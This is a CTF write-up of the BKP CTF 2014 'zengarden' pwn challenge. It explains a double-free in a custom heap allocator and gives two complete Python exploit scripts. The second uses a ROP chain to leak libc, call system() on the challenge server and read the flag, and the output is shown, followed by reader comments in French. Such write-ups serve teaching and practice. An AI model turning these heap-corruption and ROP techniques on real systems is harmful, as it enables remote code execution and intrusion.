BKP CTF 2014 > Zen garden - pwn 300
The zengarden is an x86 executable, from some mixed C/C++ code. Its libc was provided. As with any basic zen garden, one can add trees and ponds:
wow, _______ _ __ welcome your |_ / _ \ '_ \ to / / __/ | | | /___\___|_| |_| garden [a]dd, [d]elete, [p]erform or [q]uit? a [p]ond, [r]ake, [s]ign, [t]ree, p[e]rson? t which slot, 0-4? 0 [a]dd, [d]elete, [p]erform or [q]uit? p which slot, 0-4? 0 the tree sways gently in the wind, it makes a noise ?%??hP so zen [a]dd, [d]elete, [p]erform or [q]uit? a [p]ond, [r]ake, [s]ign, [t]ree, p[e]rson? p which slot, 0-4? 1 [a]dd, [d]elete, [p]erform or [q]uit? p which slot, 0-4? 1 you gaze into the pond and see reflection of 0x9e60008 [a]dd, [d]elete, [p]erform or [q]uit? q
"Add" allocates C++ objects, and "perform" calls the first method of each object. Once an object is deleted its slot cannot be refilled, and its actions cannot be performed. As shown above, the pond's action discloses the address of its object, providing us with a free leak.
The vulnerability lies in the custom heap allocation scheme used for those zen objects in the addObject action:
int __cdecl bkmalloc(int len) { int aligned_len; // [sp+18h] [bp-10h]@1 chunk *v3; // [sp+1Ch] [bp-Ch]@1 aligned_len = (len + 15) & 0xFFFFFFF8; v3 = find_fit((len + 15) & 0xFFFFFFF8); if ( v3 ) { --v3->unused; } else { v3 = (chunk *)sbrk(aligned_len); v3->length = aligned_len; v3->unused = 0; } return (int)&v3->data; } chunk *__cdecl find_fit(unsigned int len) { chunk *result; // eax@2 chunk *i; // [sp+1Ch] [bp-Ch]@3 if ( base ) { for ( i = base; sbrk(0) > i; i = (chunk *)((char *)i + 8 * i->length) ) { if ( i->unused && i->length >= len ) return i; } result = 0; } else { base = (chunk *)sbrk(0); result = 0; } return result; }
Meanwhile, bkfree() called by deleteObject() simply does chunk->free++, even if the chunk is already unused. DeleteObject() does not check whether the object as been deleted already (wheareas perform does). This means we can have multiple objects sitting in the same chunk if we follow this exploitation path:
The largest object is rake, and the sign object is just a getline() of arbitrary data, so we can overwrite the vtable pointer of any other objects residing at the same address. Using the address leak of pond, we can pretty easily control EIP:
#!/usr/bin/python import socket import select import struct import re HOST = "localhost" PORT = 4766 GAZE_RE = re.compile("you gaze into the pond and see reflection of 0x([0-9a-f]+)") def recv_timeout(s): txt = "" while 1: sel = select.select([s], [], [], 0.5) if len(sel[0]) == 0: break c = s.recv(1) if len(c) == 0: break txt += c return txt s = socket.socket() s.connect((HOST, PORT)) # add rake in slot 1 s.sendall("a\nr\n1\n") # delete rake s.sendall("d\n1\n") # add pond in slot 0 s.sendall("a\np\n0\n") recv_timeout(s) # perform pond to get chunk address s.sendall("p\n0\n") rx = GAZE_RE.search(recv_timeout(s)) if rx != None: BASE = int(rx.group(1), 16) print hex(BASE) # delete rake again to free chunk s.sendall("d\n1\n") payload = struct.pack("<I", BASE+4) + struct.pack("<I", 0xdeadbeef) payload += 'A'*(0x313-len(payload)) #create sign (slot 2), overwriting function pointer s.sendall("a\ns\n2\n" + payload + "\n") recv_timeout(s) #execute slot 0 (overwritten pond) s.sendall("p\n0\n")Checking with the application's core:
Program terminated with signal 11, Segmentation fault. #0 0xdeadbeef in ?? () (gdb) i r eax 0xdeadbeef -559038737 ecx 0xffb31ec0 -5038400 edx 0x84c9008 139235336 ebx 0x26 38 esp 0xffb31fdc 0xffb31fdc ebp 0xffb32018 0xffb32018 esi 0x0 0 edi 0x0 0 eip 0xdeadbeef 0xdeadbeef eflags 0x10297 [ CF PF AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/10xw $esp 0xffb31fdc: 0x08049650 0x084c9008 0xffb31ff0 0xf754b3c1 0xffb31fec: 0x08049f82 0x00000001 0xffb320f8 0x00000026 0xffb31ffc: 0x00000000 0x02b32030
While we have an easy EIP control, there isn't anything really interesting on the stack and within registers to pivot the stack. edx and *esp+4 point to our chunk, starting with our fake vtable and function pointer, so we would need a very lucky ret chunk to get stack control in one chunk.
To get stack control, I used the simplePrint function, that performs a sprintf to a stack buffer at 0x08049210:
.text:080491FF ; int __cdecl simplePrint(char *format) .text:080491FF public _Z11simplePrintPc .text:080491FF _Z11simplePrintPc proc near .text:080491FF .text:080491FF .text:080491FF s = byte ptr -0D4h .text:080491FF var_C = dword ptr -0Ch .text:080491FF format = dword ptr 8 .text:080491FF .text:080491FF push ebp .text:08049200 mov ebp, esp .text:08049202 push ebx .text:08049203 sub esp, 0E4h .text:08049209 mov eax, [ebp+format] .text:0804920C mov [esp+4], eax ; format .text:08049210 lea eax, [ebp+s] .text:08049216 mov [esp], eax ; s .text:08049219 call _sprintf .text:0804921E mov [ebp+var_C], eax .text:08049221 mov ebx, [ebp+var_C] .text:08049224 mov eax, ds:stdout@@GLIBC_2_0 .text:08049229 mov [esp], eax ; stream .text:0804922C call _fileno .text:08049231 mov [esp+8], ebx ; int .text:08049235 lea edx, [ebp+s] .text:0804923B mov [esp+4], edx ; int .text:0804923F mov [esp], eax ; fd .text:08049242 call ctf_send .text:08049247 jmp short loc_8049251 .text:08049249 ; --------------------------------------------------------------------------- .text:08049249 mov [esp], eax .text:0804924C call __Unwind_Resume .text:08049251 ; --------------------------------------------------------------------------- .text:08049251 .text:08049251 loc_8049251: .text:08049251 add esp, 0E4h .text:08049257 pop ebx .text:08049258 pop ebp .text:08049259 retn
As we control *esp+4, pointing to our sign's content, this overwrites the stack with arbitrary data. Having the remote libc, it's now just a matter of roping to system() by first disclosing a GOT address to get the actual system()'s libc address. To avoid the pain of forging two separate rop stacks (one for before the GOT disclosure, one for the system() call), I used a little trick consisting in performing a read within a GOT address and then calling the associated PLT to call an arbitrary adress read from stdin:
#!/usr/bin/python import socket import select import struct import re HOST = "54.218.22.41" PORT = 4766 CMD = "id ; ls -al ; cat key" GAZE_RE = re.compile("you gaze into the pond and see reflection of 0x([0-9a-f]+)") def recv_timeout(s): txt = "" while 1: sel = select.select([s], [], [], 0.5) if len(sel[0]) == 0: break c = s.recv(1) if len(c) == 0: break txt += c return txt s = socket.socket() s.connect((HOST, PORT)) s.sendall("a\nr\n1\n") # delete rake twice now as same effects s.sendall("d\n1\nd\n1\n") s.sendall("a\np\n0\n") recv_timeout(s) s.sendall("p\n0\n") rx = GAZE_RE.search(recv_timeout(s)) if rx != None: BASE = int(rx.group(1), 16) print hex(BASE) payload = struct.pack("<I", BASE+4) + struct.pack("<I", 0x08049210) payload += 'A'*108 lsm_got = 0x804bbbc simpleprint = 0x80491ff bss_buf = 0x0804bc40 gets_plt = 0x8048bb0 system_offset = 0x0003f250 lsm_offset = 0x000193c0 popret = 0x804a088 lsm_plt = 0x08048be0 # ROP # - gets CMD into bss # - use simpleprint to disclose a GOT address # - gets into a GOT address (will contain the calculated address of system()) # - call the associated PLT with the arbitrary bss string as argument rop = [ gets_plt, popret, bss_buf, simpleprint, popret, lsm_got, gets_plt, lsm_plt, lsm_got, bss_buf] payload += "".join([struct.pack("<I", x) for x in rop]) payload += 'B'*(0x313-len(payload)) s.sendall("a\ns\n2\n" + payload + "\n") recv_timeout(s) s.sendall("p\n0\n") recv_timeout(s) s.sendall(CMD + "\n") lsm_libc = struct.unpack("<I", recv_timeout(s)[0:4])[0] print hex(lsm_libc) libc_base = lsm_libc - lsm_offset system_libc = libc_base + system_offset s.sendall(struct.pack("<I", system_libc) + "\n") print recv_timeout(s)
Execution sample:
$ ./pwn300.py 0x8b31008 0xf74323c0 uid=1001(zengarden) gid=1001(zengarden) groups=1001(zengarden) total 32 drwxr-xr-x 2 root root 4096 Feb 28 21:18 . drwxr-xr-x 3 root root 4096 Feb 28 21:08 .. -rw-r--r-- 1 root root 63 Feb 28 21:18 key -rwxr-xr-x 1 root root 17550 Feb 28 21:09 zengarden flag{Knight turned the machine off and on. The machine worked}
Flagz (high five if like me you submitted the flag{} part): Knight turned the machine off and on. The machine worked. There was also another bug: the getline() used for the sign object takes as a parameter a buffer that isn't a valid malloced chunk. As a result, if getline() needs more bytes than the available space, it triggers a realloc() on an invalid chunk, with the chunk's size under our control (pointed to by chunk->unused that can be incremented at will). I actually spent much time trying to exploit that by forcing realloc to give back the same address, but couldn't get rid of a random crash within a subcall of realloc() so I don't know if we could do much more with it.
Non désolé je n'ai pas de remède magique :)
J'ai tendance à faire beaucoup à la main, et quand je fais le writeup j'en remets une couche pour la compréhension.
Mec je te suis depuis un baille et c'est toujours un plaisir de lire tes paperz, vraiment un gro GG.
Juste une question, tu as toujours des sources C déssamblé vraiment propre, c'est toi qui retouche à la main pour avoir un truc propre pour ton blog, ou tu utilises un script/plugin IDA spécifique ?
Au plaisir de te croisé en CTF